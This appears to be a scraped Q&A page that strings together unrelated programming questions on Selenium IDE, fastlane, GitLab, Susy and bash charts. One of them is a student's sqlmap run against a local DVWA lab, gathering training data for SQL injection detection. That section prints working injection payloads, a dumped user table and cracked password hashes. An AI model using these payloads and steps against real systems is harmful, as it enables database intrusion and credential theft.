Cannot get focus on new opened tab with selenium IDE - get

I'm trying to create some web test with selenium IDE. But I have one problem when I click on a javascript link it opened a new tab. I need perform some check on this new tab but I can't get he focus that is still in main page. I tried several things that I'ad search on google without succeed to do it works. I hope that someone can help me.
Thanks in advance.
Update:
So I tried several things and I tink I'm on a good way.
I can get windows names with :
StoreAllWindowNames names
echo names=${name}
I have something like:
, 987dfg4545sdfgsd
It seems that value before "," is the NULL so the default page and the other value is the name of my page.
But I'm not able to open it with a selectWindow.
Does someone know how should I do it ??
Thanks in advance.
More info about my selenium tests:
<tr>
<td>setSpeed</td>
<td>1000</td>
<td></td>
</tr>
<tr>
<td>selectWindow</td>
<td>null</td>
<td></td>
</tr>
<tr>
<td>click</td>
<td>link=Show Tree...</td>
<td></td>
</tr>
<tr>
<td>storeAllWindowNames</td>
<td>names</td>
<td>array</td>
</tr>
<tr>
<td>echo</td>
<td>${names}</td>
<td></td>
</tr>
<tr>
<td>waitForPopUp</td>
<td>${names}</td>
<td>30000</td>
</tr>
<tr>
<td>selectWindow</td>
<td>name=${names}</td>
<td></td>
</tr>
<tr>
<td>clickAndWait</td>
<td>link=Search</td>
<td></td>
</tr>
Results:
* [info] Executing: |setSpeed | 1000 | |
* [info] Executing: |selectWindow | null | |
* [info] Executing: |click | link=Show Tree... | |
* [info] Executing: |storeAllWindowNames | names | array |
* [info] Executing: |echo | ${names} | |
* [info] echo: ,bdae1e119a367a54
* [info] Executing: |waitForPopUp | ${names} | 30000 |
* [error] Timed out after 30000ms
* [info] Executing: |selectWindow | name=${names} | |
* [error] Window does not exist. If this looks like a Selenium bug, make sure to read http://seleniumhq.org/docs/04_selenese_commands.html#alerts-popups-and-multiple-windows for potential workarounds.
Where bdae1e119a367a54 is the dynamic value that I want to get.
I found a mach that someone done but it does not works for me it return null
http://old.nabble.com/How-can-I-access-the-second,-third..-element-of-a-stored-array--td9393201.html

Whether the feature works may depend on which browser you are driving.
I would suggest you try a different browser.

Try out this one
click link=Show Tree...
pause 5000
selectWindow name=${names}
windowFocus
click link=Search
OR
storeEval | this.browserbot.findElement('link=Show Tree...').href | myUrl |
open | ${myUrl} ||
OR
disable the tab feature setting in browser to work with multi-window.

Related

How can I get SQL injection attack data by using sqlmap?

I'm writing thesis for my university.
My theme of thesis is "SQL injection detection by using Machine Learning"
To use Machine Learning, first of all, I need thousands of learning data of SQL injection attack.
For that, I proceeded below process.
Install Virtual Box
Install Kali Linux on Virtual Box
Install DVWA(Damn Vulnerable Web Application) on Kali Linux
Attack to DVWA by using sqlmap
On No.4, I succeeded in attacking to DVWA, but I don't know how to get bunch of attacking data.
What I want to get is bunch of actual attacking SQL.
1. launched server.
โ”Œโ”€โ”€(root๐Ÿ’€kali)-[/home/kali]
โ””โ”€# service apache2 start
โ”Œโ”€โ”€(root๐Ÿ’€kali)-[/home/kali]
โ””โ”€# service mysql start
2. Got cookie and target URL
document.cookie
"security=low; PHPSESSID=cookieinfo"
3 Attack
โ”Œโ”€โ”€(root๐Ÿ’€kali)-[/usr/bin]
โ””โ”€# sqlmap -o -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=[cookieinfo];security=low" --dump
___
__H__
___ ___[,]_____ ___ ___ {1.4.11#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting # 10:08:01 /2020-12-01/
[10:08:01] [INFO] resuming back-end DBMS 'mysql'
[10:08:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 1995 FROM(SELECT COUNT(*),CONCAT(0x7162707a71,(SELECT (ELT(1995=1995,1))),0x71626a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qoRd&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 9863 FROM (SELECT(SLEEP(5)))PIFI)-- JYNK&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7162707a71,0x744e45686f7a55414a6744636c497367666d62567679764247415656677779516a76584474645269,0x71626a7871)#&Submit=Submit
---
[10:08:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.46
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[10:08:01] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[10:08:01] [INFO] fetching current database
[10:08:01] [INFO] fetching tables for database: 'dvwa'
[10:08:01] [INFO] fetching columns for table 'users' in database 'dvwa'
[10:08:01] [INFO] fetching entries for table 'users' in database 'dvwa'
[10:08:01] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:08:07] [INFO] writing hashes to a temporary file '/tmp/sqlmaphbMPEH3181/sqlmaphashes-7QbpSl.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[10:08:12] [INFO] using hash method 'md5_generic_passwd'
[10:08:12] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[10:08:12] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[10:08:12] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[10:08:12] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
Database: dvwa
Table: users
[5 entries]
+---------+-----------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar | user | password | last_name | first_name | last_login | failed_login |
+---------+-----------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1 | /DVWA-master/hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2020-11-29 01:54:52 | 0 |
| 2 | /DVWA-master/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2020-11-29 01:54:52 | 0 |
| 3 | /DVWA-master/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2020-11-29 01:54:52 | 0 |
| 4 | /DVWA-master/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2020-11-29 01:54:52 | 0 |
| 5 | /DVWA-master/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2020-11-29 01:54:52 | 0 |
+---------+-----------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
[10:08:12] [INFO] table 'dvwa.users' dumped to CSV file '/root/.local/share/sqlmap/output/localhost/dump/dvwa/users.csv'
[10:08:12] [INFO] fetching columns for table 'guestbook' in database 'dvwa'
[10:08:12] [INFO] fetching entries for table 'guestbook' in database 'dvwa'
Database: dvwa
Table: guestbook
[1 entry]
+------------+------+-------------------------+
| comment_id | name | comment |
+------------+------+-------------------------+
| 1 | test | This is a test comment. |
+------------+------+-------------------------+
[10:08:13] [INFO] table 'dvwa.guestbook' dumped to CSV file '/root/.local/share/sqlmap/output/localhost/dump/dvwa/guestbook.csv'
[10:08:13] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'
[*] ending # 10:08:13 /2020-12-01/
What I want to get is bunch of actual attacking SQL.
Please anyone help me. Thank you.

get error when getting beta version with fastlane

When I release beta with fastlane in React native project build_app, I have this problem.
platform :ios do
desc "Push a new beta build to TestFlight"
lane :beta do
increment_build_number(xcodeproj: "TestApp.xcodeproj")
build_app(
workspace: "TestApp.xcworkspace",
scheme: "TestApp",
include_bitcode: true)
end
end
[14:13:21]: Error packaging up the application
------+------------------------+-------------+
| fastlane summary |
+------+------------------------+-------------+
| Step | Action | Time (in s) |
+------+------------------------+-------------+
| 1 | default_platform | 0 |
| 2 | increment_build_number | 1 |
| ๐Ÿ’ฅ | build_app | 366 |
+------+------------------------+-------------+
[14:13:21]: fastlane finished with errors
[!] Error packaging up the application
Could someone help me with this one.
In my case, I added a new distribution certificate which was in my keychain in first place. I removed the distribution certificate and it worked. It may not be the solution but can check

in the activity stream of a gitlab project's home page, commits are associated with incorrect user

has anyone seen this before? if so, how did you go about fixing this?
in my git repo, commits by an user (J) are listed with another user (S) on the project's home page activities stream. if i click on one of these commits, it takes me to the commit page. Here, the author name is correct. in mysql's event table, I definitely see the problem. in example below, the event entry has different user_name than author
| 5047 | NULL | NULL | NULL | ---
:before: 2ab9bd30a20529bdeeaab21e14767ab7cf1b117c
:after: 3a43bd7b00c099c2a15bbdd99282ac2c0ed4e231
:ref: refs/heads/master
:user_id: 68
:user_name: S******
:project_id: 163
:repository:
:name: *************
:url: ******************
:description: ''
:homepage:***************
:commits:
- :id: !binary |-
MjY2YmNlZGI0MTM2MjYxNmQxZjExOTMyZDlkMjliMWQ5OWY1N2ZlZQ==
:message: ! '**********'
:timestamp: '2014-03-27T11:06:46-07:00'
:url: http://*****************
:author:
:name: J******
:email: j*******
- :id: !binary |-
M2E0M2JkN2IwMGMwOTljMmExNWJiZGQ5OTI4MmFjMmMwZWQ0ZTIzMQ==
:message: ! '*****'
:timestamp: '2014-03-27T12:23:59-07:00'
:url: **************
:author:
:name: J******
:email: j**********
:total_commits_count: 2
| 163 | 2014-03-27 19:27:53 | 2014-03-27 19:27:53 | 5 | 68 |
In my case, I found that the user who was supposed to be showing up had the SSH-key for the incorrect user in .ssh/id_rsa.pub which resulted in the wrong user being identified in the post receive hook in gitlab. Fixing the key fixed the issue.

How to reset a Susy container?

What is the best method to reset a Susy grid container? I have a grid with a couple of containers under each other, like this:
+-----------------+
| [container] |
| [container] |
| [container] |
| |
+-----------------+
Now on the front page, I want one container to be full width:
+-----------------+
| [container] |
|[ container ]|
| [container] |
| |
+-----------------+
Currently I am resetting the container like this:
body.front {
#main {
width: 100%;
max-width: none;
margin: 0;
padding: 0;
}
}
However, seeing that Susy already contains reset mixins like reset-columns I'm wondering if this is the recommended way to do it.
Yes, this is right. There is no reset-container mixin currently.

Make a Simple Pie Graph using Bash Shell Script

Below is my Bash Shell Script from which I am executing my two Hive SQL Queries which is working fine. And I am calculating Error Percentage in this Bash Shell Script.
#!/bin/bash
QUERY1=`hive -e "
set mapred.job.queue.name=hdmi-technology;
SELECT SUM(total_items_purchased), SUM(total_items_missingormismatch) from lip_data_quality where dt='$DATE_YEST_FORMAT2';"`
QUERY2=`hive -e "
set mapred.job.queue.name=hdmi-technology;
SELECT 100 * SUM(total_items_missingormismatch*1.0) / SUM(total_items_purchased) FROM lip_data_quality where dt='$DATE_YEST_FORMAT2';"`
mailx -s "LIP Data Quality Report for $DATE_YEST_FORMAT1" -r rj#host.com rj#host.com <<EOF
Data Successfully loaded into LIP_DATA_QUALITY table
Total Items Purchased: `echo $QUERY1 | awk '{print $1}'`
Total Items MissingorMismatch: `echo $QUERY1 | awk '{print $2}'`
Error Percentage: $QUERY2
EOF
Problem Statement:-
I will be getting Error Percentage number in $QUERY2. I need to make a Simple Pie Graph that can show Error Percentage and No Error Percentage by using the number from $QUERY2 just like below graph using Bash Shell Script.
I am running SunOS. Is this possible to do in Bash Shell script? Any thoughts will be appreciated.
Update:-
Below is the Shell Script that I am using, that I created using vi editor.
1 #! /bin/bash
2
3 TEMP=$(mktemp -t chart)
4 QUERY1=36
5 QUERY2=64
6 cat > $TEMP <<EOF
7 <html>
8 <head>
9 <!--Load the AJAX API-->
10 <script type="text/javascript" src="https://www.google.com/jsapi"></script>
11 <script type="text/javascript">
12
13 // Load the Visualization API and the piechart package.
14 google.load('visualization', '1.0', {'packages':['corechart']});
15
16 // Set a callback to run when the Google Visualization API is loaded.
17 google.setOnLoadCallback(drawChart);
18
19 // Callback that creates and populates a data table,
20 // instantiates the pie chart, passes in the data and
21 // draws it.
22 function drawChart() {
23
24 // Create the data table.
25 var data = new google.visualization.DataTable();
26 data.addColumn('string', 'Title');
27 data.addColumn('number', 'Value');
28 data.addRows([
29 ['Error Percentage', $QUERY1],
30 ['No Error Percentage', $QUERY2]
31 ]);
32
33 // Set chart options
34 var options = {'title':'Errors',
35 'width':400,
36 'height':300};
37
38 // Instantiate and draw our chart, passing in some options.
39 var chart = new google.visualization.PieChart(document.getElementById('chart_div'));
40 chart.draw(data, options);
41 }
42 </script>
43 </head>
44
45 <body>
46 <!--Div that will hold the pie chart-->
47 <div id="chart_div"></div>
48 </body>
49 </html>
50 EOF
51
52 # open browser
53 case $(uname) in
54 Darwin)
55 open -a /Applications/Google\ Chrome.app $TEMP
56 ;;
57
58 Linux|SunOS)
59 firefox $TEMP
60 ;;
61 esac
62
Error that I got after running the above shell script as sh -x chart.sh-
bash-3.00$ sh -x chart.sh
chart.sh: syntax error at line 3: `TEMP=$' unexpected
Any thoughts will be appreciated.
Another Update:-
After the below suggestions, when I tried something like this-I got another error.
bash-3.00$ bash -x chart.sh
++ mktemp -t chart
mktemp: failed to create file: /tmp/chart
+ TEMP=
+ QUERY1=36
+ QUERY2=64
+ cat
chart.sh: line 6: $TEMP: ambiguous redirect
Another Update: Made Some Progress I guess. Not sure where the output files will be going? Or it will open into a browser?
bash-3.00$ bash -x chart.sh
++ mktemp -t chart
+ TEMP=/tmp/chart
+ QUERY1=36
+ QUERY2=64
+ cat
++ uname
A very simple way of creating a Google Chart:
#! /bin/bash
TEMP=$(mktemp -t chart.XXXXX)
QUERY1=36
QUERY2=64
cat > $TEMP <<EOF
<html>
<head>
<!--Load the AJAX API-->
<script type="text/javascript" src="https://www.google.com/jsapi"></script>
<script type="text/javascript">
// Load the Visualization API and the piechart package.
google.load('visualization', '1.0', {'packages':['corechart']});
// Set a callback to run when the Google Visualization API is loaded.
google.setOnLoadCallback(drawChart);
// Callback that creates and populates a data table,
// instantiates the pie chart, passes in the data and
// draws it.
function drawChart() {
// Create the data table.
var data = new google.visualization.DataTable();
data.addColumn('string', 'Title');
data.addColumn('number', 'Value');
data.addRows([
['Error Percentage', $QUERY1],
['No Error Percentage', $QUERY2]
]);
// Set chart options
var options = {'title':'Errors',
'width':400,
'height':300};
// Instantiate and draw our chart, passing in some options.
var chart = new google.visualization.PieChart(document.getElementById('chart_div'));
chart.draw(data, options);
}
</script>
</head>
<body>
<!--Div that will hold the pie chart-->
<div id="chart_div"></div>
</body>
</html>
EOF
# open browser
case $(uname) in
Darwin)
open -a /Applications/Google\ Chrome.app $TEMP
;;
Linux|SunOS)
firefox $TEMP
;;
esac
if you save it as chart.sh then run it as
$ bash -x chart.sh
or
$ chmod +x chart.sh
$ ./chart.sh
which gives you something like
Notice that you only need bash and an Internet connection, there's nothing to install.
mktemp should be available in Solaris (http://docs.oracle.com/cd/E23824_01/html/821-1461/mktemp-1.html). If you don't have it just set TEMP to whatever file you want the HTML output to be.
A simple way to create a pie chart in only shell, is to generate an svg image.
A simple/small program to generate other image types is Ploticus.
http://ploticus.sourceforge.net/doc/welcome.html
There is probably no native way of doing it, so I would assume that your best bet is to get a third party tool installed, like-
PLOTRIX
Documentation

Resources